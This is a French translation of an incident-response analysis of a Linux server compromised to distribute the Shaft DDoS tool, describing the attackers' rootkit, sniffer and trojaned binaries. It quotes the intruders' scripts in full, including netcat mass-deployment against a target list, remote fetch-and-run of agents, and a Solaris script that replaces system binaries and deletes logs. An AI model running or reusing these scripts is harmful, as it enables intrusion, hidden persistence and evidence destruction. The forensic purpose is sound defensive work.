      Une fois alertée qu'une machine aurait pu être compromise, nous avons exécuté un scan sur la machine et le réseau. Un scanner de port (nmap) nous révèle que le port 5002/tcp est ouvert en écoute. En outre, il révèle que le port 22/tcp (ssh) est aussi ouvert, lequel n'avait pas été installé pas l'administrateur.

      Une machine sur laquelle était basée l'analyse a indiqué pareillement que le port 5002/tcp était en écoute. Une analyse avec rpm -Va révèle une différence de taille et de somme MD5 pour les composants du kit root (ensemble de programme qui permette d'administrer le serveur: ls, ps, grep, find...), mais ne révèle pas la présence de l'outil Shaft. Actuellement le système a été déconnecté du réseau et le disque a été monté dans un autre système de confiance et sera analysé d'ici.

      Les administrateurs locaux avaient notés que le système était devenu instable à la fin de l'automne, correspondance aux essais de l'outil DDoS Shaft.

    2. Le Rootkit Utilisé

      • Qu'avons nous trouvé

      Nous avons trouvé des choses significatives tandis que nous analysions la boîte qui était en fait un répertoire et des fichiers que j'appellerai le toolkit sda69. Il était dans /dev (/dev/sda69 et 4 fichiers sda69[a-d]). Ceci semble être le répertoire de travail de l'attaquant, ainsi la plupart des scripts et fichiers sont stockés ici.

      Il apparaît un ancien travail sur une période ou le système était compromis, la boîte a été stockée dans un sous-répertoire appelé ". " (espace point, "/dev/sda69/. "). Ce répertoire a contenu 6 fichiers qui ont compromis le système, pour renifler (sniffer) le réseau Ethernet et analysé les fichiers journaux des renifleur (sniffer). Voici une liste des fichiers et de ce qu'ils font :

        rwxr-xr-x 1 0 20 28969 Apr 4 1999 idle

      C'était leur renifleur(sniffeur). Il a été conçu pour renifler les ports 21/tcp et 23/tcp (ftp et telnet, respectivement). Il capturait le premier nombre de X octets de chacune des connexions, les inscrivaient dans un fichier, et passait à la prochaine connexion. il a été employé pour recueillir des mots de passe, puisque les services ftp et telnet reçoivent des mots de passe en clair. Ce renifleur a était seulement dirigé dans une seule direction ( de la machine qui a commencé la connexion à la machine de destination). Ceci était fait de cette façon parce que l'autre direction ne contient rarement d'information utile. le fichier de sortie était dans ce cas-ci tcp.log. Le programme a été appelé idle probablement pour duper n'importe quel admin système qui pouvez le remarquer par la commande ps et penser que c'était juste un idle time.

        -rw-r--r-- 1 0 0 456799 Jun 11 1999 tcp.log

      C'était le fichier journal du (renifleur) sniffer. Il contenait les données dans la forme :
      src_ip => dst_ip [port] les données
      ...
      ----méthode d'arrêt de connexion

      Ce journal contenait l'information pour les ports 21 et 23. Et également les identifiants et les mots de passe.

        -rwxr-xr-x 1 0 0 2795 May 12 1999 pp.pl

      Ce script perl extractait les noms d'utilisateurs et les mots de passe depuis le fichier journal du sniffer.

        -rw-r--r-- 1 0 0 6 Apr 28 1999 sniff.pid

      C'est un fichier standard contenant le pid du sniffer.

        -rw-r--r-- 1 0 20 7654 Apr 4 1999 s

      Un simple programme de SYN Flood (inondation de réseau par l'envoie de SYN)

        -rwxrwxr-x 1 0 0 7656 Aug 28 1998 chattr

      Ceci est un programme chattr standard sur linux (permet de changer les attributs d'un fichier sur un système de fichier ext2fs)

      l'ensemble de ces logiciels dans ". " prouve que les attaquants ont utilisés cette boîte pour le reniflement des mots de passe du réseau Ethernet. Nous ne savons pas actuellement si les attaquants faisaient autre chose pendant cette période de temps (Mai-Juin 1999).

      • Cheval de troie trouvé sur Linux

      La recherche sur la machine Linux compromise a rapporté les chevaux de Troie suivants. Ils ont été trouvés en montant le disque en lecture seul et sans les permissions d'exécution sur les fichiers. Une liste récursive de fichier a été alors exécutée (LS - lartRi /mnt) qui a rapidement indiqué les chevaux de Troie suivants :

        20563 -rwxrwxr-x 1 root root 437428 Sep 15 1998 vi
        20554 -rwxrwxr-x 1 root root 262756 Oct 2 1998 tcsh
        313370 -r-xrwxr-x 1 root root 31312 Oct 3 1998 ps

      L'examen des fichiers binaires en utilisant la commande strings (analyse du fonctionnement d'un binaire), ainsi que des fichiers additionnels sur le système, ceci a permis de comprendre le mode de fonctionnement des nouveaux binaires.

      Les tailles de fichier étaient parfois très grandes, très probablement en raison d'un lien statique avec une bibliothèque C ancienne (libc5 sur un système libc6).

      Sur une machine courante, l'examen en employant la commande RPM dans le mode vérification (RPM -Va) affichait des tailles de fichiers, des permissions et des sommes MD5 inexistantes une fois comparées à la base de données du système.

        ls

      Le cheval de Troie LS que nous avons trouvé a pour effet de ne pas énumérer les fichiers cachés de configuration, /dev/sda69c. En tant que tels, il est fortement extensible. Plusieurs utilitaires ont été cachés, y compris des éléments du toolkit Shaft et même quelques terminaux.

        netstat

      L'examen du binaire en remplacement de netstat indique qu'il était employé à cacher les connexions depuis certains réseaux et sur certains ports. Des réseaux et des ports ont été configurés en utilisant le fichier /dev/sda69b, en complément du rootkit.

        ps

      Utilisé pour cacher l'activité. Le cheval de Troie ps(1) fait référence au fichier /dev/sda69a, qui contient une liste des processus et des terminaux à cacher. Une liste assez typique de rootkit, y compris des renifleurs, analyseurs, le script de l'IRC eggdrop, et le backdoor sshd.

        updatedb

      Le programme updatedb, normalement met à jour la base de données de slocate (version sécurisée de la commande locate) qui permet de localiser un fichier sur un disque, celui ci a été remplacé par un script shell. Encore une fois, utilisé pour cacher les outils du rootkit.

        locate

      Semblable à l'updatedb trojan, utilisé pour cacher le rootkit et le toolkit Shaft.

        find

      Encore, utilisé pour cacher les toolkits, appelle le fichier /dev/sda69c d'une manière semblable à la commande LS version cheval de Troie pour cacher des fichiers.

        dir vdir

      Voir LS version cheval de Troie, utilise le même mode de fonctionnement.

        killall

      Appels /dev/sda69a, qui contient une liste des processus et terminaux. Utilisé pour empêcher de stopper les processus de l'intrus.

        syslogd

      Appels /dev/sda69d, contient une liste de domaines. Vraisemblablement elle empêche la journalisation quand les machines de ces domaines se connectent.

        tcpd

      Modification du wrapper TCP, appel /dev/sda69b et empêche les vérifications d'accès sur ces réseaux et sur ces ports.

        inetd

      Semble être un démon combiné entre portmapper et inetd, peut-être pour permettre l'accès ou des commandes système par l'intermédiaire d'appels RPC.

        sshd

      Le cheval de Troie sshd 1.2.26. Contient un mot de passe en backdoor "rOOTkIT" qui offre un accès shell root sans journal.

        ifconfig

      Remplace l'ancien, dans cette version il omet d'afficher le résultat du paramètre PROMISC (mode promiscous, voir article sur les sniffeurs pour plus d'info), cachant ainsi l'utilisation du logiciel de reniflement.

      • Cheval de Troie trouvé sur Solaris SPARC

      Pendant notre recherche sur le toolkit, nous avons également trouvé plusieurs binaires clés pour Solaris qui ont été remplacés par des chevaux de Troie. Avec les archives (neet.tar) il y a un script et plusieurs binaires pour l'architecture SPARC. Le script installe des chevaux de Troie de type inetd, ps et update.

        -rwx------ 1 510 510 39544 Mar 18 1999 doc

      Ceci est apparemment le cheval de Troie pour le binaire inetd sur SPARC Solaris

        -rwx------ 1 510 510 24356 Mar 18 1999 ps

      Ceci est apparemment le cheval de Troie pour le binaire ps sur SPARC Solaris

        -rwx------ 1 510 510 25548 Mar 18 1999 update

      Solaris n'emploie pas update, bien que SunOS 4.x l'utilise. Ceci est probablement fait pour embrouiller l'administrateur s'il tombe sur ce fichier. Selon George Weaver ceci est un solsniffer standard, un renifleur Solaris. On s'attend à ce que les fichiers journaux soient dans /usr/man/tmp/output sur un système Solaris infecté.

      • Fichier de configuration pour les chevaux de Troie exécutables

      En complément de ces fichiers, ont a récupérés quatre fichiers supplémentaires dans lesquels apparaissent des informations employées par le rootkit qui a été installé sur ce système. Ces fichiers sont dans /dev/sda69[a-d ]. Voici une liste de ce qui est contenu dans ces fichiers:

        sda69a

      Le fichier a le format :

        numéro nom

      Les numéro indique quel type d'information est à sa suite (toujours 1 ou 3) et le nom indique les données. Pour ce fichier, 1 indique que ce qui suit est le nom d'un terminal, et 3 indique que ce qui suit est le nom d'un exécutable. Ce fichier est employé par le cheval de Troie ps et killall pour empêcher le sysadmin de voir ou de tuer les exécutables énuméré à la suite.
      Le contenu du fichier:

        3 egg
        3 linsniffer
        1 p0
        1 p1
        3 sniffer
        3 mscan
        3 bash
        3 idle
        3 screen
        3 ssynk4
        3 sshd
        3 ssh
        3 sshd1
        3 s

        sda69b

      Le format de ce fichier est le même que le format de sda69a, mais le contenu diffère. Le 1 signifie dans ce cas-ci que les données sont un sous-réseau à ignorer. Le 3 est dans ce cas-ci un numéro spécifie de port. Ce fichier est employé par le cheval de Troie netstat et tcpd pour connaître quelle IP cachée, quelle IP doit être toujours laisser dedans, et quel port cacher.
      Un exemple du contenu :

        1 xxx.
        3 6667
        1 yyy.
        3 23
        1 zzz.
        1 ddd.eee
        1 ccc.
        3 513
        1 bbb.aaa.
        3 22

      Ici, les trois combinaisons de lettres représentent des nombres simples d'adresses IP. Ce fichier indiquerait que tout le monde pour xxx.*.*.* seront accepter sur cette machine, et qu'aucun connexion depuis cette IP n'apparaîtra dans netstat. En outre, les programme d'écoute sur les ports 6667, 23, 513, et 22 (irc, telnet, rlogin, et ssh) n'apparaîtront pas dans un netstat normal.

        sda69c

      Ce fichier est une liste de fichiers, un fichier par ligne, qui ont été installés sur ce système par les attaquants. Ce fichier est employé par ls, dir, vdir, et find pour savoir quels fichiers ne pas énumérer quand l'admin affiche le contenu du disque.

        sda69d

      Ce fichier est une liste de fournisseurs (providers), un par ligne. Ce fichier est employé par le cheval de Troie syslog pour connaître quels messages ne devraient pas être journalisés.

    3. La méthode pour distribuer l'outil Shaft

      Les travaux récents des pirates (qui incluent l'outil de DDoS Shaft) sont tous dans le répertoire de base sda69 (/dev/sda69). Voici une liste de fichiers récupérée et leur fonctions:

        -rwxr-xr-x 1 0 0 25123 Nov 28 14:34 shaftmaster
        -rwxr-xr-x 1 0 0 15184 Nov 28 14:47 shaftnode

      C'est le maître et les exécutables de noeud (appelé aussi agent) pour l'outil de DDoS Shaft. Pour plus l'information, voir le texte d'analyse de Shaft.

        -rwxr-xr-x 1 0 0 19806 Nov 28 14:41 shaftnode.c

      C'est le fichier de source pour l'agent de Shaft. Pour plus d'information, voir le texte d'analyse de Shaft.

        -rwxr-xr-x 1 0 0 165632 Nov 28 16:34 nc

      Ceci semble être le netcat standard. Cet exécutable était utilisé par les scripts pour exécuter à distance des commandes.

        -rw-r--r-- 1 0 0 596 Nov 28 17:12 hitlist

      Ce fichier contient une liste de machines cibles, une machine par la ligne. Celle-ci étaient évidemment les cibles qui recevaient le programme shaftnode, la cible ayant était précédemment compromise (piratée).

        -rwxr-xr-x 1 0 0 84 Nov 28 16:36 dos.sh

      Ce shell script exécutent la commande dospipe.sh et envoient la sortie de chaque IP dans le fichier hitlist, port 21 (ftp). Ce script est un wrapper pour dospipe.sh lequel l'exécute pour chacune des machines contenu dans hitlist et l'envoie à la machine. Voici le code de ce fichier:

      #!/bin/sh
      for i in `cat hitlist` ; do (./dospipe.sh | ./nc -p 53982 $i 21 &) ; done

      -rwxr-xr-x 1 0 0 186 Nov 28 16:41 dospipe.sh

      Ce script shell produit une série de commandes qui sont prévues pour télécharger et exécuter une copie de leur shaftnode sur la machine cible. Ce script automatise le processus de téléchargement et d'exécution de leur agent.
      Voici le code du script:

      #!/bin/sh
      echo "oir##t"
      echo "QUIT"
      sleep 5
      echo "cd /tmp"
      sleep 5
      echo "rcp user@host:shaftnode ./"
      sleep 5
      echo "chmod +x shaftnode"
      sleep 5
      echo "./shaftnode"
      echo "exit"

      Les premières couples de lignes (les deux premières commandes d'écho) semblent signifier qu'un backdoor est employé sur les serveurs ftp des machines cibles pour obtenir le rootshell qu'ils ont besoin. Les deux premières lignes sont envoyées au cheval de Troie qui à pour fonction d'être serveur de ftp, et les lignes suivantes semblent être des commandes d'envoient à un root shell.

        -rwxr-xr-x 1 0 0 122880 Oct 24 02:13 duh.tar

      C'est un fichier tar qui contient cinq fichiers: bd.sh, bdpipe.sh, massbd.sh, need.tar et unf.

        -rwxr-xr-x 1 0 0 104 Oct 24 01:55 unf

      Ce fichier est une autre liste d'adresse IP, vraisemblablement une liste de cible pour la "bd" du système.

        -rwxr-xr-x 1 0 0 10240 Oct 24 02:11 bd.sh

      En dépit de son extension, c'est un fichier tar contenant deux fichiers bdpipe.sh et massbd.sh. Je pense que l'existence de ce fichier tar est une erreur et cela devrait être un script shell qui ressemble au script dos.sh.

        -rwxr-xr-x 1 0 0 53 Aug 7 1999 massbd.sh

      C'est un script shell qui réitère de bout en bout les lignes d'un fichier et exécute les scripts bd.sh sur chacun d'eux en tache de fond. Ceci signifie qu'il exécute bd.sh sur chacune des lignes dans le fichier en même temps. A supposer que le fichier unf de fichier est employé à cette fin. Voici le code pour ce script:

      #!/bin/sh
      for i in `cat $1`; do (./bd.sh $i &);done

        -rwxr-xr-x 1 0 0 192 Aug 8 1999 bdpipe.sh

      C'est un fichier qui est employé pour télécharger et installer les chevaux de Troie et le rootkits sur une machine SPARC, il sert aussi à l'effacement des journaux. Il copie neet.tar sur la machine cible, exécute le script bd, et nettoie ses traces. Voici le code pour le script:

      #!/bin/sh
      echo "cd /tmp;"
      echo "rcp user@host:neet.tar ./;"
      sleep 4
      echo "tar -xvf neet.tar;"
      sleep 4
      echo "./bd;"
      sleep 10
      echo "rm -rf neet.tar bd update*;"
      sleep 10
      echo "exit;"

      Il s'avère qu'ils ont déjà un accès root shell avant que ce script soit exécuté. Obtenir le root shell a pu très bien être le contenu du vrai bd.sh.

        -rwxr-xr-x 1 0 0 102400 Aug 7 1999 neet.tar

      C'est un fichier tar qui contient 4 fichiers : bd (un script shell), ps, update, et doc (trois exécutable SPARC)

        -rwx------ 1 510 510 1076 Aug 5 1999 bd

      C'est un script shell exécutable qui est exécute par un autre script une fois que le système est compromis. Ce script fait un certain nombre de choses. La première est de copier le cheval de Troie version inetd. Deuxièmement il supprime la plupart des fichiers journaux sur le système qui pourrait l'impliquer. Ensuite il exécute le cheval de Troie inetd et il le test avec une session telnet (vraisemblablement pour tester le backdoor). Ensuite il tue inetd, nfs et ttdb. A la suite il exécute le programme update. Finalement il copie le programme ps en remplacement de la version actuelle.
      Voici le code source complet du script:

      unset HISTFILE; unset SAVEHIST
      cp doc /usr/sbin/inetd;
      chown root /usr/sbin/inetd;
      chgrp root /usr/sbin/inetd;
      touch 0716000097 /usr/sbin/inetd;
      rm -rf doc /tmp/bob /var/adm/messages /usr/lib/nfs/statd /usr/openwin/bin/rpc.ttdb* /usr/dt/bin/rpc.ttdb*
      rm -rf /var/log/messages /var/adm/sec* /var/adm/mail* /var/log/mail* /var/adm/sec*
      rm -rf /usr/openwin/bin/rpc.cmsd
      rm -rf /usr/dt/bin/rpc.cmsd
      /usr/sbin/inetd -s;
      /usr/sbin/inetd -s;
      telnet localhost;
      /usr/sbin/inetd -s;
      ps -ef | grep inetd | grep bob | awk '{print "kill -9 " $2 }' > boo
      chmod 700 boo
      ./boo
      ps -ef | grep nfs | grep statd | awk '{print "kill -9 " $2 }' > boo
      chmod 700 boo
      ./boo
      ps -ef | grep ttdb | grep -v grep | awk '{print "kill -9 " $2 }' > boo
      chmod 700 boo
      ./boo
      rm -rf boo
      mkdir /usr/man/tmp
      mv update ps /usr/man/tmp
      cd /usr/man/tmp
      echo 1 \"./update -s -o output\" > /kernel/pssys
      chmod 755 ps update
      ./update -s -o output &
      cp ps /usr/ucb/ps
      mv ps /usr/bin/ps
      touch 0716000097 /usr/bin/ps /usr/ucb/ps
      cd /
      ps -ef | grep bob | grep -v grep
      ps -ef | grep stat | grep -v grep
      ps -ef | grep update

    4. Ce que vous pouvez faire

      Nous avons, nous espérons, décrits des méthodes pour les administrateurs d'examiner un système compromis par les distributeurs de l'outil de DDoS Shaft. La combinaison d'un rootkit générique ainsi que le paquage de DDoS crée un groupe de machines qui pourraient être utilisées pour perturber les segments d'un grand réseau.

      La chose la plus importante est qui a était à plusieurs reprise répétée -- appliquer les patchs de sécurité des fournisseurs pour mettre à jour et conserver un sytème sain. Renforcer les accès, rechercher les trous de sécurité sur les sites spécialisés et fabriquer les patchs avant qu'il ne soit fournis par le fournisseur. Cette simple action aurait permis d'empêcher certains agents de s'installer sur votre système.

      Deuxièmement, n'importe quel administrateur système aurait noté la dégradation de la machine sans aucune raison apparent. Les administrateurs locaux de ce réseaux se sont plaints d'accidents et de problèmes d'exécution de ce serveur. La encore, les administrateurs n'étaient pas qualifiés. C'est un problème standard, et cela peut être facilement évité en formant ou en employant des administrateurs compétents.

      Alors que les étapes que nous avons décrites en haut sont très au-dessus du niveau d'un administrateur système et des bases de l'administration, la prévention contre ce genre de piratage est facilement faisable. N'importe quelle société devrait faciliter la diffusion des patches et des recommandations de sécurité venants des fournisseurs.

      Comme noté dans l'introduction, nous avons essayé de contacter les administrateurs des domaines énumérés dans les listes des cibles fournies dans les toolkit ou depuis les disques où les intrus se sont connectés. Nous fournissons cette analyse à la communauté dans un effort de faciliter le nettoyage des anneaux d'intrusions. Ils se répandent dans le monde entier, y compris l'Europe et en Asie, se concentrant en grande partie sur des institutions scolaires. Nous avons apprécié la réponse de la communauté une fois entré en contact avec eux, et apprecier leur aide pour certains cas.

      Un remerciement spécial à George Weaver du PSU pour son analyse sur les chevaux de Troie trouvés sur le système SPARC.

      Original, du 26 mars 2000 :

      Rick Wash
      rlw6@po.cwru.edu

      Jose Nazario
      jose@biocserver.cwru.edu

      Note: l'original de ce fichier peut-être trouvé sur: http://biocserver.cwru.edu/~jose/shaft_analysis/

      Traduit par Cakeii le 7 avril 2000

      • Selection de References
      Dietrich, Sven: Analyse de Shaft: http://sled.gsfc.nasa.gov/~spock/shaft_analysis.txt
      nmap  http://www.insecure.org/nmap
      netcat  ftp://coast.cs.purdue.edu/pub/tool/unix/netcat
      




    
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸
    
    Voilu c'est fini pour cette edition du hackoff22 sortie vachement plus tard que
    prevu. Merci a g3n0c1d3, Gard, Jericho, Cakeii pour leur participation active
    et merci a tous les autres qui nous lisent et ne manquent pas de nous faire
    corriger nos erreurs (de syntaxe).
    
    Que la bande passante soit avec vous.
    Tobozo
    ________________________________________________________________________________
    ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­
    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
                             -{\________________________/}-
       ~~    ~~    ~~    ~~°ºØø¦    ¿ H A C K 0 F F ?   ¦øغ°~~    ~~    ~~    ~~
    ~~    ~~    ~~    ~~    ~-{/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\}-~    ~~    ~~    ~~    ~~
       ~~    ~~    ~~    ~~    ~ http://come.to/legang  ~~   ~~    ~~    ~~    ~~
    ~~    ~~    ~~    ~~    ~~    ~                  ~    ~~    ~~   ~~    ~~    ~~
       ~~    ~~    ~~    ~~    http://come.to/illegoland     ~~    ~~    ~~    ~~
    ~~    ~~    ~~    ~~    ~                              ~    ~~    ~~    ~~    ~~
       ~~    ~~    ~~    ~~    http://lasavate.tripod.com    ~~    ~~    ~~
    ~~    ~~    ~~    ~~    ~                              ~    ~~    ~~    ~~    ~~
    ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang...
    _________________________________________________________________________________
    ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­
    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
       		    ,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,
    		    _____________________________________
    		    (((((((      H@CK-OFF !!     ))))))))
    		     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    		    ~  ~   ¤º°`°º   ¤º°`°º   ¤º°`°º  ~  ~
    		     ~  ~  | SE | - | RI | - | AL | ~  ~
    		    ~  ~   | SA | - | VA | - | TE |  ~  ~
    		     ~  ~  | SY | - | ST | - | EM | ~  ~
    		    ~  ~   ø,¸¸,ø   ø,¸¸,ø   ø,¸¸,ø  ~  ~
    		     Cakeii - Tobozo - herts - Silk - Nk
    		   Sniffdoz - Gard - n0kia - Misto - Blured
    		    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    		                             {    \|/
    		     >http://come.to/legang  8  -- * --
    		     >silk@silk.cut          {    /|\
    		     >cakeii@usa.net
    		     tobozo@biosys.net
    		     misto@bigfoot.com
    		     gard@gardworld.inc
    		     hertz@webmails.com
    		     n0kia@rootmail.com
    		     jericho@altranet.fr
    		     blured75@hotmail.com
    	        ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,
    	       /   O o          O o          O o    \
    	       \    O            O            O     /
    	        º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º
    	    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [EOF]